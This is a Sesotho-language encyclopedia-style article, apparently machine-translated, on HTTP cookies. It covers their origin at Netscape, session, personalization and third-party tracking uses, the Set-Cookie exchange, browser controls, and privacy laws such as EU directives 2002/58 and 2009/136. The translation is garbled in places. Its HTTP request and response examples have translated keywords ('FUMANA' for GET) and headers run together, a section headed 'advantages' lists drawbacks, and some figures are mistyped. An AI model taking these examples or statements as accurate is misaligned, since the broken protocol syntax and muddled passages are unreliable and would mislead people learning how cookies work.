in ,

Internet Cookie: ke eng? Tlhaloso, Tšimoloho, Mefuta le Lekunutu

Karolo ea li-cookie ke eng, ke eng le hore na ke mefuta efe ea li-cookie? 🍪

Internet Cookie: ke eng? Tlhaloso, Tšimoloho, Mefuta le Lekunutu
Internet Cookie: ke eng? Tlhaloso, Tšimoloho, Mefuta le Lekunutu

Un kuku kapa kuku ea webo (kapa kuku, khutsufalitsoe e le paki in Quebec) e hlalosoa ke protocol ea puisano ea HTTP e le tatellano ea tlhahisoleseling e rometsoeng ke seva sa HTTP ho moreki oa HTTP, eo ea morao-rao e e khutlisang nako le nako ha seva e tšoanang ea HTTP e botsoa tlas'a maemo a itseng.

Kuku e lekana le a faele e nyane e bolokiloeng ho terminal ea mosebelisi oa Marang-rang. E teng ka lilemo tse fetang 20, e lumella baetsi ba sebaka sa marang-rang ho boloka lintlha tsa mosebelisi e le ho ba nolofalletsa ho tsamaea le ho lumella tšebetso e itseng. Li-cookie li 'nile tsa e-ba le likhang tse fokolang haholo hobane li na le boitsebiso ba botho bo ka sebelisoang hampe ke batho ba bang.

E romelloa e le hlooho ea HTTP ke seva sa marang-rang ho sebatli sa marang-rang se e khutlisang e sa fetoha nako le nako ha e kena ho seva. Kuku e ka sebelisoa ho netefatso, kopano (tlhokomelo ea naha), le bakeng sa boloka lintlha tse ikhethang ka mosebelisi, joalo ka likhetho tsa sebaka kapa likahare tsa kariki ea ho reka ka elektroniki. Lereo kuku le nkiloe ho kuku ea boselamose, mohopolo o tsebahalang ho UNIX computing, o khothalelitseng mohopolo le lebitso la li-cookies tsa sebatli. Ho na le mefuta e 'maloa ea li-cookie, e' ngoe le e 'ngoe e na le ts'ebeliso ea eona, melemo le mathata.

Ho ba lifaele tsa mongolo tse bonolo, li-cookies ha li khonehe. Ha ba joalo eseng li-spyware kapa livaerase, le hoja li-cookie tse tsoang libakeng tse ling li fumanoa ke lisebelisoa tse ngata tse thibelang kokoana-hloko hobane li lumella basebelisi ho lateloa ha ba etela libaka tse ngata. 

Li-browser tse ngata tsa morao-rao li lumella basebelisi ho etsa qeto ea ho amohela kapa ho hana li-cookies. Basebelisi le bona ba ka khetha hore na li-cookie li bolokiloe nako e kae. Leha ho le joalo, ho hanoa ka botlalo ha li-cookie ho etsa hore libaka tse ling li se ke tsa sebelisoa. Ka mohlala, boloka likariki tsa mabenkele kapa libaka tse hlokang ho kena u sebelisa mangolo a boitsebiso (username le password).

Lethathamo la tse kahare

Historique

Lentsoe lena di-cookie e tsoa lentsoeng la Senyesemane kuku ea boselamose, e leng pakete ea data eo lenaneo le e fumanang le ho e khutlisa e sa fetoha. Li-cookie li ne li se li sebelisoa ho IT ha Lou Montulli e bile le mohopolo oa ho li sebelisa likhokahanong tsa marang-rang ka June 1994. Ka nako eo, o ne a hiriloe ke Netscape Communications, e neng e thehile kopo ea e-commerce bakeng sa moreki. Li-cookie li fane ka tharollo bothateng ba ho ts'epahala ha ts'ebetsong ea kariki ea mabenkele ea lebenkele.

John Giannandrea le Lou Montulli ba ngotse litlhaloso tsa pele tsa cookie tsa Netscape selemong sona seo. Mofuta oa 0.9 beta oa Mosaic Netscape, o lokollotsoeng ka la 13 Mphalane, 1994, o kopantsoe. theknoloji ea li-cookie (sheba poso). Ts'ebeliso ea pele (e seng ea liteko) ea li-cookie e ne e le ho fumana hore na baeti ba webosaete ea Netscape ba kile ba etela sebaka sena pele. Montulli o ile a kenya kopo ea patent bakeng sa thekenoloji ea li-cookie ka 1995, 'me US patent 5774670 e ile ea fuoa. e fanoeng ka 1998.

Kamora ho kengoa tšebetsong ho Netscape 0.9 beta ka 1994, li-cookie li ile tsa kopanngoa ho Internet Explorer 2, tse lokollotsoeng ka Mphalane 1995.

Kenyelletso ea li-cookie ha e so tsejoe ke batho ba bangata. Haholo-holo, li-cookie li ile tsa amoheloa ka mokhoa oa kamehla ho li-browser, 'me basebelisi ha baa tsebisoa ka boteng ba bona. Batho ba bang ba ne ba tseba ka boteng ba li-cookie ho pota kotara ea pele ea 1995, empa sechaba ka kakaretso se bile teng ka mor'a hore Financial Times e hatise sehlooho ka February 12, 1996. Selemong sona seo, li-cookie li ile tsa fumana tlhokomelo e ngata ea mecha ea litaba. ka lebaka la ho kenella ha lekunutu ho ka bang teng. Taba ea li-cookie e ile ea tšohloa lipuisanong tse peli tsa American Federal Trade Commission ka 1996 le 1997.

Nts'etsopele ea li-cookie tsa molao li ne li se li ntse li tsoela pele. Lipuisano tsa pele tsa lintlha tsa molao li ile tsa tšoaroa ka April 1995 lethathamong la poso la www-talk. Ho ile ha thehoa sehlopha se ikhethileng sa IETF. Litlhahiso tse peli tse ling tsa ho tsebisa mmuso ho litšebelisano tsa HTTP li khothalelitsoe ke Brian Behlendorf le David Kristol ka ho latellana, empa sehlopha, se etelletsoeng pele ke Kristol ka boeena, se nkile qeto ea ho sebelisa litlhaloso tsa Netscape e le qalo. Ka Hlakola 1996, sehlopha se sebetsang se ile sa etsa qeto ea hore li-cookie tsa batho ba bang li kotsi haholo ho lekunutu. Tlhaloso e hlahisitsoeng ke sehlopha e ile ea qetella e hatisitsoe e le RFC 2109.

Ho tloha bofelong ba 2014, re bona banner mabapi le li-cookie libakeng tse ngata. Ho na le bonyane katoloso e le 'ngoe ea sebatli e lumellang ho banner ha e hlahe.

Mefuta ea li-cookies le lisebelisoa

Tsamaiso ea nako

Li-cookie li ka sebelisoa ho boloka data ea mosebelisi nakong ea ho tsamaea, empa hape le maetong a mangata. Li-cookie li ile tsa hlahisoa ho fana ka mokhoa oa ho kenya ts'ebetsong likoloi tsa ho reka tsa elektronike, e leng sesebelisoa sa sebele seo mosebedisi a ka bokellang lintho tseo a batlang ho li reka ha a ntse a sheba setša.

Matsatsing ana, lits'ebetso tse joalo ka likariki tsa mabenkele li boloka lethathamo la lintho ho database ho seva, e leng khetho e ntle; ho feta ho li boloka ka har'a kuku ka boeona. Seva ea Marang-rang e romella cookie e nang le ID e ikhethileng ea nako. Sebatli sa Marang-rang se khutlisa ID ea seshene kopong e 'ngoe le e 'ngoe e latelang 'me lintho tse ka basketeng lia bolokoa li amahanngoa le ID ena e ikhethang.

Ho sebelisa li-cookie khafetsa ho na le thuso bakeng sa ho kena sebakeng sa marang-rang u sebelisa mangolo a bopaki. Ka bokhutšoanyane, setsi sa marang-rang se qala ho romela cookie e nang le ID e ikhethang ea nako. Ebe basebelisi ba fana ka lintlha tsa bona (hangata lebitso la mosebelisi le password). Sesebelisoa sa marang-rang se netefatsa nako eo 'me se lumella mosebelisi ho fumana ts'ebeletso.

Personalization

Li-cookie li ka sebelisoa ho hopola lintlha tse mabapi le mosebelisi oa sebaka sa marang-rang, e le ho mo bontša litaba tse nepahetseng nakong e tlang. Mohlala, sebatli sa webo se ka romella cookie e nang le lebitso la mosebelisi la ho qetela le sebelisitsoeng ho kena sebakeng seo sa Marang-rang, e le hore lebitso la mosebelisi le ka sebelisoa esale pele maetong a tlang.

Liwebsaete tse ngata li sebelisa li-cookies ho iketsetsa motho ho latela khetho ea basebelisi. Basebelisi ba khetha likhetho tsa bona ka foromo ebe ba li romella ho seva. Seva e kenyelletsa likhetho ka har'a cookie ebe e e khutlisetsa ho sebatli. Kamora moo, nako le nako ha mosebelisi a kena leqepheng la sebaka sena sa marang-rang, sebatli se khutlisa cookie mme ka hona lethathamo la likhetho; seva e ka khona ho iketsetsa leqephe ho latela likhetho tsa mosebelisi. Mohlala, webosaete ea Wikipedia e lumella basebelisi ba eona ho khetha letlalo la sebaka seo ba se ratang. Enjine ea ho batla ea Google e lumella basebelisi ba eona (leha ba sa ngolisoa) ho khetha palo ea liphetho tseo ba batlang ho li bona leqepheng le leng le le leng la liphetho.

Ho latedisa

Li-cookie tsa ho latela li sebelisoa ho latela mekhoa ea ho bala ea basebelisi ba marang-rang. Sena se ka boela sa etsoa ka karolo e itseng ka ho sebelisa aterese ea IP ea k'homphieutha ho etsa kopo ea leqephe kapa ka ho sebelisa 'referrer' hlooho ea HTTP eo moreki a e romelang ka kopo e 'ngoe le e' ngoe, empa li-cookie li lumella ho nepahala ho hoholo. Sena se ka etsoa ka mohlala o latelang:

  1. Haeba mosebelisi a letsetsa leqephe sebakeng sa marang-rang, mme kopo ha e na cookie, seva e nka hore lena ke leqephe la pele le eteloang ke mosebelisi. Ebe seva e etsa khoele e sa reroang ebe e e romella ho sebatli hammoho le leqephe le batlileng.
  2. Ho tloha motsotsong ona, cookie e tla romelloa ka bo eona ke sebatli nako le nako ha leqephe le lecha la sebaka sa marang-rang le bitsoa. Seva e tla romella leqephe joalo ka tloaelo, empa hape e tla kenya URL ea leqephe le bitsoang, letsatsi, nako ea kopo le cookie ka faele ea log.

Ka ho sheba faele ea log, joale hoa khoneha ho bona hore na ke maqephe afe ao mosebedisi a e etileng le ka tatellano efe. Mohlala, haeba faele e na le likopo tse 'maloa tse entsoeng ho sebelisoa cookie ea id=abc, sena se ka tiisa hore likopo tsena kaofela li tsoa ho mosebelisi a le mong. URL e kopiloeng, letsatsi le nako tse amanang le likopo li lumella ho lateloa ha libatli tsa mosebelisi.

Li-cookie tsa motho oa boraro le li-beacon tsa marang-rang, tse hlalositsoeng ka tlase, li boetse li thusa ho latella libaka tse fapaneng. Ho latela sebaka se le seng hangata ho sebelisoa molemong oa lipalo. Ka lehlakoreng le leng, ho latela li-cookies tsa batho ba bang hangata ho sebelisoa ke lik'hamphani tsa papatso ho hlahisa li-profiles tse sa tsejoeng (tse sebelisoang ho tseba hore na ke lipapatso life tse lokelang ho bontšoa ho mosebedisi le ho mo romella mangolo-tsoibila a tsamaisanang le lipapatso tsena - SPAM. ).

Li-cookies tsa ho latela ke kotsi ea ho hlaseloa ha lekunutu la basebelisi empa li ka hlakoloa habonolo. Libatli tse ngata tsa sejoale-joale li kenyelletsa khetho ea ho hlakola li-cookies tse phehellang ha u koala sesebelisoa.

Li-cookie tsa motho oa boraro

Litšoantšo le lintho tse ling tse teng leqepheng la tepo li ka lula ho li-server tse fapaneng le tse tsamaisang leqephe. Ho hlahisa leqephe, sebatli se khoasolla lintho tsena kaofela. Liwebsaete tse ngata li na le boitsebiso bo tsoang mehloling e fapaneng. Mohlala, haeba u ngola www.example.com sebatling sa hau, hangata ho tla ba le lintho kapa lipapatso karolong ea leqephe tse tsoang mehloling e fapaneng, ke hore, sebakeng se fapaneng le sa www.example.com. Li-cookie tsa "Mokha oa Pele" ke li-cookie tse behiloeng ke sebaka se thathamisitsoeng ho bara ba aterese ea sebatli. Li-cookie tsa motho oa boraro li behiloe ke e 'ngoe ea lintho tsa leqephe tse tsoang sebakeng se fapaneng.

Ka mokhoa o ikhethileng, libatli tse kang Mozilla Firefox, Microsoft Internet Explorer le Opera li amohela li-cookies tsa mokha oa boraro, empa basebelisi ba ka fetola litlhophiso ho likhetho tsa sebatli ho li thibela. Ha ho na kotsi ea ts'ireletso e hlahang ho li-cookie tsa motho oa boraro tse nolofalletsang ts'ebetso ea webo, leha ho le joalo li sebelisoa ho latela basebelisi. ho tloha sebakeng ho isa sebakeng.

Lisebelisoa tse kang Ghostery tse fumanehang bakeng sa libatli tsohle ho kenyelletsa le Google Chrome li ka thibela phapanyetsano lipakeng tsa batho ba boraro.

Phethahatso

Tšebelisano e ka bang teng lipakeng tsa sebatli sa webo le seva e amohelang leqephe la webo. Seva e romella cookie ho sebatli mme sebatli se e khutlisa ha e bitsa leqephe le leng.
Tšebelisano e ka bang teng lipakeng tsa sebatli sa webo le seva e amohelang leqephe la webo. Seva e romella cookie ho sebatli mme sebatli se e khutlisa ha e bitsa leqephe le leng.

Li-cookie ke likotoana tse nyane tsa data tse rometsoeng ke sebatli sa webo ho sebatli. Sebatli se li khutlisetsa ho seva se sa fetohe, se hlahisa boemo (sehopotso sa liketsahalo tse fetileng) ts'ebetsong e seng e sa sebetse ea HTTP. Ntle le li-cookies, ho khutlisoa ha leqephe le leng le le leng la leqephe la webo kapa karolo ea leqephe la webo ke ketsahalo e ikhethileng, ntle le likopo tse ling tse entsoeng sebakeng se le seng. Ntle le ho khona ho hlophisoa ke seva sa marang-rang, li-cookie li ka hlophisoa ka lipuo tse ngoloang joalo ka JavaScript, haeba e tšehetsoa ebile e lumelletsoe ke sebatli.

Litlhaloso tsa semmuso tsa li-cookie li fana ka maikutlo a hore libatli li lokela ho boloka le ho romella bonyane palo ea li-cookies. Haholo-holo, sebatli se lokela ho khona ho boloka bonyane li-cookie tse 300 tsa li-kilobyte tse 'ne, le bonyane li-cookie tse 20 bakeng sa seva kapa domain e le' ngoe.

Ho latela karolo ea 3.1 ea RFC 2965, mabitso a li-cookie ha a na taba.

Cookie e ka hlakisa letsatsi la ho felloa ke nako, moo cookie e tla hlakoloa ka letsatsi lena. Haeba cookie e sa bolele letsatsi la ho felloa ke nako, cookie e tla hlakoloa hang ha mosebelisi a tloha sebatli sa hae. Ka hona, ho hlakisa letsatsi la ho felloa ke nako ke mokhoa oa ho etsa hore cookie e phele ka linako tse ngata. Ka lebaka lena, li-cookie tse nang le letsatsi la ho felloa ke nako li boleloa phehellang. Mohlala oa kopo: sebaka sa marang-rang se ka sebelisa li-cookies tse phehellang ho rekota lintho tseo basebelisi ba li behileng ka kariking ea bona ea ho reka (ha e le hantle, cookie e ka bolela se kentsoeng se bolokiloeng polokelong ea boitsebiso sebakeng sa thekiso, eseng komporong ea hau) . Ka mokhoa ona, haeba basebelisi ba tlohela sebatli sa bona ntle le ho reka ebe ba khutlela ho sona hamorao, ba tla khona ho fumana lintho tse ka kariking hape. Haeba li-cookie tsena li ne li sa fane ka letsatsi la ho felloa ke nako, li ne li tla fela ha sebatli se koetsoe, 'me boitsebiso bo ka har'a basketeng bo tla lahleha.

Li-cookie li ka lekanyetsoa sebakeng se itseng sa domain, subdomain kapa tsela ho seva e li entseng.

Phetisetso ea maqephe a webo e etsoa ho sebelisoa HyperText Transfer Protocol (HTTP). Ka ho hlokomoloha li-cookies, libatli li letsetsa leqephe ho tsoa ho li-server tsa marang-rang ka ho li romella mongolo o mokhuts'oane o bitsoang Kopo ea HTTP. Mohlala, ho fihlella leqephe la www.example.org/index.html, libatli li hokela ho seva www.example.org ebe li romela kopo e shebahalang tjena:

FUMANA /index.html HTTP/1.1Host: www.example.org
navigatorserveur

Seva e arabela ka ho romela leqephe le kopiloeng, le etelletsoe pele ke mongolo o ts'oanang, o ntse o bitsoa kaofela Karabo ea HTTP. Pakete ena e kanna ea ba le mela e laelang sebatli ho boloka likuku.

HTTP/1.1 200 OKContent-mofuta: mongolo/htmlSet-Cookie: lebitso=boleng
(leqephe la HTML)
navigatorserveur

Seva e romella feela mohala oa Set-Cookie, haeba seva se batla hore sebatli se boloke cookie. Set-Cookie ke kopo ea hore sebatli se boloke lebitso=molumo oa mohala ebe o o khutlisetsa ho likopo tsohle tse tlang ho seva. Haeba sebatli se ts'ehetsa li-cookies 'me li-cookie li nolofalitsoe likhethong tsa sebatli, cookie e tla kenyeletsoa likopong tsohle tse latelang tse entsoeng ho seva e tšoanang. Mohlala, sebatli se letsetsa leqephe lena www.example.org/news.html ka ho romella kopo e latelang ho seva ho www.example.org:

FUMANA /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAmohela: */*
navigatorserveur

Ena ke kopo ea leqephe le leng ho tsoa ho seva e tšoanang, 'me e fapane le ea pele e ka holimo hobane e na le khoele eo seva e kileng ea e romela ho sebatli. Ka lebaka la sena, seva se tseba hore kopo ena e hokahane le e fetileng. Seva e arabela ka ho romela leqephe le bitsoang, le ka ho eketsa li-cookie tse ling ho eona.

Boleng ba cookie bo ka fetoloa ke seva ka ho romella mohala o mocha Set-Cookie: name=new_value ho latela leqephe le bitsitsoeng. Joale sebatli se nkela boleng ba khale sebaka ka se secha.

Mohala oa Set-Cookie hangata o etsoa ke lenaneo la CGI kapa puo e 'ngoe ea mongolo, eseng ke seva sa HTTP. Seva ea HTTP (mohlala: Apache) e tla fetisetsa sephetho sa lenaneo feela (tokomane e etelletsoeng pele ke hlooho e nang le li-cookies) ho sebatli.

Li-cookie le tsona li ka hlophisoa ke JavaScript kapa lipuo tse ling tse ts'oanang tse sebetsang ho sebatli, ke hore, ka lehlakoreng la bareki eseng lehlakoreng la seva. Ho JavaScript, ntho ea document.cookie e sebelisetsoa morero ona. Mohlala, statement document.cookie = "temperature=20" e etsa kuku e bitsoang "temperature" le boleng ba 20.

Mohlala oa karabo ea HTTP ho tsoa ho google.com, e hlophisang kuku e nang le litšobotsi.
Mohlala oa karabo ea HTTP ho tsoa ho google.com, e hlophisang kuku e nang le litšobotsi.

Ntle le lebitso / boleng ba marang-rang, cookie e ka ba le letsatsi la ho felloa ke nako, tsela, domain name le mofuta oa khokahano o reriloeng, ke hore, e tloaelehileng kapa e patiloeng. RFC 2965 e boetse e hlalosa hore li-cookie li tlameha ho ba le nomoro ea mofuta o tlamang, empa hangata sena ha se lumelloe. Likarolo tsena tsa data li latela lebitso=new_value pair 'me li aroloa ka li-semicolons. Mohlala, cookie e ka etsoa ke seva ka ho romella mohala oa Set-Cookie: name=new_value; felloa ke nako=letsatsi; tsela=/; domain=.example.org.

Li-cookie li felloa ke nako 'me ha li romelloe ke sebatli ho seva maemong a latelang:

  • Ha sebatli se koetsoe, haeba cookie e sa phehelle.
  • Ha letsatsi la ho felloa ke nako ha li-cookie le fetile.
  • Ha letsatsi la ho felloa ke nako ha li-cookie le fetoloa (ke seva kapa script) ho ea ho letsatsi le fetileng.
  • Ha sebatli se hlakola cookie ka kopo ea mosebelisi.

Boemo ba boraro bo lumella li-server kapa mangolo ho hlakola cookie ka ho hlaka. Hlokomela hore hoa khoneha ka sebatli sa Google Chrome ho tseba letsatsi la ho felloa ke nako ha cookie e itseng ka ho fihlella litlhophiso tsa litaba. Kuku e bolokiloeng komporong e kanna ea lula e le teng ka lilemo tse mashome haeba ho se mokhoa o nkuoang ho e hlakola.

Maikutlo a fapaneng

Ho tloha ka kenyelletso ea bona ho Marang-rang, mehopolo e mengata ka li-cookie e atile ho Marang-rang le mecheng ea litaba. Ka 1998, CIAC, sehlopha sa United States sa Lefapha la Matla a ho lekola liketsahalo tsa khomphutha, se ile sa etsa qeto ea hore bofokoli ba ts'ireletso ea li-cookie "ha e le hantle ha bo eo" mme ba hlalosa hore "tlhahisoleseding e mabapi le tšimoloho ea maeto a hau le lintlha tsa maqephe a marang-rang ao u a etileng. e se e ntse e le teng lifaeleng tsa marang-rang tsa li-server tsa marang-rang". Ka 2005, Jupiter Research e ile ea hatisa liphetho tsa phuputso, moo karolo e kholo ea ba arabelitsoeng e ileng ea nahana ka lipolelo tse latelang:

  • Li-cookie li joalo kokoana-hloko, li tšoaetsa li-hard drive tsa basebelisi.
  • Li-cookie lia hlahisa hlahella.
  • Li-cookie li sebelisetsoa ho romela spam.
  • Li-cookie li sebelisoa feela bakeng sa papatso.

Li-cookie ha li khone ho hlakola kapa ho bala tlhahisoleseling komporong ea mosebelisi. Leha ho le joalo, li-cookie li etsa hore ho khonehe ho bona maqephe a webo a etetsoeng ke mosebelisi sebakeng se itseng kapa sete ea libaka. Lintlha tsena li ka bokelloa profilaneng ea mosebelisi e ka sebelisoang kapa ea rekisetsoa batho ba bang, e leng se ka bakang mathata a tebileng a lekunutu. Li-profile tse ling ha li tsejoe, ka kutloisiso ea hore ha li na tlhahisoleseling ea motho, leha ho le joalo le liprofaele tse joalo li ka belaella.

Ho latela thuto e tšoanang, karolo e kholo ea basebelisi ba Marang-rang ha e tsebe ho hlakola li-cookies. Le leng la mabaka a etsang hore batho ba se tšepe li-cookies ke hore liwebsaete tse ling li sebelisitse hampe karolo e khethollang batho ba li-cookie mme ba arolelane lintlha tsena le mehloli e meng. Liphesente tse kholo tsa lipapatso tse lebisitsoeng le mangolo-tsoibila a sa batloang, tse nkoang e le spam, li tsoa boitsebisong bo nkiloeng ho lateleng cookies.

Litlhophiso tsa sebatli

Li-browser tse ngata li tšehetsa li-cookies 'me li lumella mosebedisi ho li thibela. Likhetho tse tloaelehileng haholo ke:

  • Lumella kapa u tima li-cookie ka botlalo, e le hore li lule li amoheloa kapa li thibetsoe.
  • Lumella mosebelisi ho bona li-cookies tse sebetsang leqepheng le fanoeng, ka ho kenya javascript: alert(document.cookie) sebakeng sa aterese sa sebatli. Libatli tse ling li kenyelletsa molaoli oa li-cookie bakeng sa mosebelisi ea ka bonang le ho hlakola li-cookies tse bolokiloeng hajoale ke sebatli.

Li-browser tse ngata li boetse li lumella ho hlakoloa ka botlalo ha data ea hau e kenyelletsang li-cookies. Ho boetse ho na le li-module tse ling tsa ho laola tumello ea li-cookie.

Lekunutu le Li-cookie tsa Mokha oa Boraro

Mohlala ona o iqapetsoeng, k'hamphani ea papatso e behile lifolakha liwebsaeteng tse peli. Ka ho fana ka li-banner ho li-server tsa eona le ho sebelisa li-cookie tsa batho ba bang, k'hamphani ea papatso e khona ho lekola tsela eo mosebedisi a tsamaeang ka eona libakeng tsena tse peli.

Li-cookie li na le litlamorao tsa bohlokoa molemong oa boinotši le ho se tsejoe ha basebelisi ba webosaete. Leha li-cookie li khutlisetsoa feela ho li-server tse li behileng kapa ho seva ea sebaka se le seng sa Marang-rang, leqephe la webo le kanna la ba le litšoantšo kapa likarolo tse ling tse bolokiloeng ho li-server tsa libaka tse ling. Li-cookie tse behiloeng nakong ea ho hlaphoheloa ha likarolo tsena tsa kantle li bitsoa li-cookie tsa motho oa boraro. Sena se kenyelletsa li-cookies tse tsoang lifensetereng tse sa batleheng tsa pop-up.

Likhamphani tsa papatso li sebelisa li-cookies tsa batho ba bang ho latela basebelisi libakeng tse fapaneng tseo ba li etelang. Haholo-holo, k'hamphani ea papatso e ka sala morao mosebelisi ho pholletsa le maqephe ohle moo e behileng litšoantšo tsa papatso kapa pixel ea ho latela. Tsebo ea maqephe a eteloang ke mosebelisi e lumella k'hamphani ea papatso hore e shebane le likhetho tsa papatso tsa mosebelisi.

Bokhoni ba ho aha profaele ea mosebelisi bo nkoa ke ba bang e le tlhaselo ea lekunutu, haholo ha ho lateloa ho etsoa libakeng tse fapaneng ho sebelisoa li-cookies tsa batho ba bang. Ka lebaka lena, linaha tse ling li na le melao ea li-cookie.

Mmuso oa United States o ile oa kenya ts'ebetsong melao e thata mabapi le ho beoa ha li-cookie ka 2000, kamora hore ho senoloe hore Ofisi ea Leano la Lithethefatsi la White House e ne e sebelisa li-cookie ho latela likhomphutha tsa basebelisi ba shebelletseng lipapatso tsa lithethefatsi inthaneteng. Ka 2002, moitseki oa lekunutu Daniel Brandt o ile a sibolla hore CIA e siile li-cookie tse phehellang likhomphutha tse neng li etetse liwebsaete tsa eona. Hang ha e tsebisoa ka tlōlo ea molao ena, CIA e phatlalalitse hore li-cookie tsena ha lia romelloa ka boomo 'me li khaotsa ho li beha. Ka la 25 Tšitoe 2005, Brandt o ile a fumana hore National Security Agency (NSA) e siile li-cookie tse peli tse phehellang lik'homphieutheng tsa baeti ka lebaka la ntlafatso ea software. Kamora ho tsebisoa, NSA e ile ea koala li-cookie hang-hang.

United Kingdom, the Molao oa li-cookie ", e qalileng ho sebetsa ka la 25 Motšeanong, 2012, e tlama liwebsaete ho phatlalatsa merero ea tsona, kahoo e lumella basebelisi ho ikhethela hore na ba batla ho siea mesaletsa ea bona kapa che ho Internet. Ka hona li ka sireletsoa ho sepheo sa papatso. Leha ho le joalo, ho latela The Guardian, tumello ea basebelisi ba Inthanete ha e hlile ha e hlake; liphetoho li entsoe ho lipehelo tsa tumello ea mosebelisi, ho e etsa ka tsela eo.

Tataiso ea 2002/58 mabapi le lekunutu

Taelo ea 202/58 ea lekunutu le likhokahano tsa elektroniki, e na le melao mabapi le ts'ebeliso ea li-cookies. Haholo-holo, sengoloa sa 5, serapa sa 3 sa taelo ena se hloka hore ho bolokoa ha data (joalo ka li-cookies) komporong ea mosebelisi ho ka etsoa feela haeba:

  • mosebelisi o tsebisoa ka moo data e sebelisoang ka teng;
  • mosebelisi o fuoa khetho ea ho hana ts'ebetso ena ea polokelo. Leha ho le joalo, sengoloa sena se boetse se bolela hore ho boloka data ka mabaka a tekheniki ha ho na molao ona.

Ka lebaka la ho kengoa tšebetsong ho tloha ka Mphalane 2003, taelo ena e ile ea sebelisoa ka mokhoa o sa phethahalang ho latela tlaleho ea December 2004, e neng e boetse e supa hore linaha tse ling tseo e leng Litho (Slovakia, Latvia, Greece, Belgium le Luxembourg) li ne li e-so fetole tataiso molaong oa naha.

Ho ea ka maikutlo a G29 ka 2010, taelo ena, eo haholo-holo e behang tšebeliso ea li-cookie molemong oa papatso ea boitšoaro, ka tumello e hlakileng ea mosebelisi oa Marang-rang e lula e sa sebelisoe hampe. Ha e le hantle, libaka tse ngata tsa marang-rang li etsa joalo ka tsela e sa lumellaneng le taelo, ka ho ipehela "banner" e bonolo e tsebisang ka tšebeliso ea "cookies" ntle le ho fana ka tlhahisoleseding mabapi le tšebeliso, ntle le ho khetholla pakeng tsa "li-cookie" tsa theknoloji. "Tracking" cookies, kapa ho fana ka khetho ea 'nete ho mosebelisi ea lakatsang ho boloka li-cookies tsa tekheniki (joalo ka li-cookies tsa taolo ea likariki tsa mabenkele) le ho hana li-cookies tsa "tracking". Ebile, liwebsaete tse ngata ha li sebetse hantle haeba li-cookie li hanoa, tse sa lumellaneng le taelo ea 2002/58 kapa taelo ea 95/46 (Tsireletso ea data ea hau).

Taelo ea 2009/136/CE

Boitsebiso bona bo ntlafalitsoe ke Directive 2009/136/EC ea la 25 Pulungoana, 2009, e bolelang hore "ho boloka tlhahisoleseling, kapa ho fumana phihlello ea tlhahisoleseling e seng e bolokiloe, lisebelisoa tsa bareki kapa mosebelisi li lumelloa feela ha feela motho ea ngolisitseng kapa mosebelisi o fane ka tumello, kamora ho amohela, ho latela Directive 95/46/EC, tlhaiso-leseling e hlakileng le e felletseng, lipakeng tsa ba bang ka sepheo sa ts'ebetso ". Ka hona, taelo e ncha e matlafatsa boitlamo pele e beha li-cookie khomphuteng ea mosebelisi oa Marang-rang.

Litaelong tsa pele tsa taelo, 'muelli oa molao oa Europe o re: "Moo ho ka khonehang le ho sebetsa hantle, ho latela lipehelo tse amehang tsa Directive 95/46/EC, tumello ea mosebelisi mabapi le ts'ebetso e ka hlahisoa ka tšebeliso ea litlhophiso tse nepahetseng tsa sebatli kapa sesebelisoa se seng". Empa ha e le hantle, ha ho sebatli ho fihlela joale se etsang hore ho khonehe ho arola li-cookies tsa bohlokoa tsa tekheniki ho tsoa ho tse ikhethileng tse lokelang ho tlohelloa khetho ea mosebelisi.

Taelo ena e ncha e ile ea fetisoa ke Maparamente a Belgian ka Phupu 2012. Phuputso ea 2014 e bonts'a hore le Maparamente a thatafalloa ho etsa kopo. ditshita tsa taelo.

P3P

Tlhaloso ea P3P e kenyelletsa bokhoni ba seva ho bolela leano la lekunutu, le hlalosang hore na ke boitsebiso ba mofuta ofe boo bo bo bokellang le ka morero ofe. Melao ena e kenyelletsa (empa ha e felle feela) ts'ebeliso ea tlhaiso-leseling e bokelletsoeng ka li-cookies. Ho latela litlhaloso tsa P3P, sebatli se ka amohela kapa sa hana li-cookies ka ho bapisa maano a lekunutu le likhetho tsa mosebelisi kapa ka ho botsa mosebelisi, ho hlahisa polelo ea lekunutu e phatlalalitsoeng ke seva.

Libatli tse ngata, ho kenyeletsoa Apple Safari le Microsoft Internet Explorer liphetolelo tsa 6 le 7, li tšehetsa P3P e lumellang sebatli ho tseba hore na se amohela polokelo ea li-cookie tsa batho ba bang. Sebatli sa Opera se lumella basebelisi ho hana li-cookies tsa batho ba bang le ho theha boemo ba ts'ireletso ba lefats'e le bo ikhethileng bakeng sa libaka tsa Marang-rang. Mofuta oa 2 oa Mozilla Firefox o lahlile tšehetso ea P3P empa oa e khutlisetsa ho mofuta oa 3.

Li-cookie tsa batho ba bang li ka thijoa ke li-browser tse ngata ho eketsa boinotši le ho fokotsa ho lateloa ha lipapatso, ntle le ho ama boiphihlelo ba mosebelisi webong hampe. Mekhatlo e mengata ea papatso e fana ka khetho khetha ho tsoa ho papatso e reriloeng, ka ho theha cookie e akaretsang ho sebatli e thibelang sepheo sena, empa tharollo e joalo ha e sebetse hantle, ha e hlomphuoa, hobane cookie ena e tloaelehileng e hlakoloa hang ha mosebelisi a hlakola li-cookies tse hlakolang khetho. qeto e tsoang.

Melemo ea li-cookies

Ntle le litaba tsa lekunutu, li-cookie li boetse li na le mathata a itseng a tekheniki. Haholo-holo, hase kamehla ba khethollang basebelisi ka nepo, ba ka fokotsa ts'ebetso ea sebaka sa marang-rang ha ba le bangata, ba ka sebelisoa bakeng sa litlhaselo tsa ts'ireletso, 'me ba hanyetsana le phetisetso ea boemo ba moemeli, mokhoa oa meralo oa software.

Boitsebiso bo sa nepahalang

Haeba ho sebelisoa sebatli se fetang se le seng k'homphieutheng, ho e 'ngoe le e' ngoe ea tsona ho na le sebaka se arohaneng sa polokelo ea li-cookies. Ka hona, li-cookie ha li khetholle motho, empa li kopanya ak'haonte ea mosebelisi, komporo le sebatli sa webo. Kahoo, mang kapa mang a ka sebelisa liak'haonte tsena, likhomphutha kapa li-browser tse nang le li-cookies tse ngata. Ka mokhoa o ts'oanang, li-cookie ha li khetholle lipakeng tsa basebelisi ba bangata ba arolelanang ak'haonte e le 'ngoe ea mosebelisi, komporo le sebatli, joalo ka "li-cafes tsa inthanete" kapa sebakeng sefe kapa sefe se fanang ka phihlello ea mahala ea lisebelisoa tsa komporo.

Empa ha e le hantle polelo ena e bonahala e le leshano maemong a mangata hobane kajeno k'homphieutha ea "botho" (kapa smartphone, kapa tablet, e mpe le ho feta) e sebelisoa haholo-holo ke motho a le mong. ka bongata ba tlhahisoleseling e bokelletsoeng e fihla ho sepheo sa motho ka mong le haeba motho a sa tsebahatsoa "e leng".

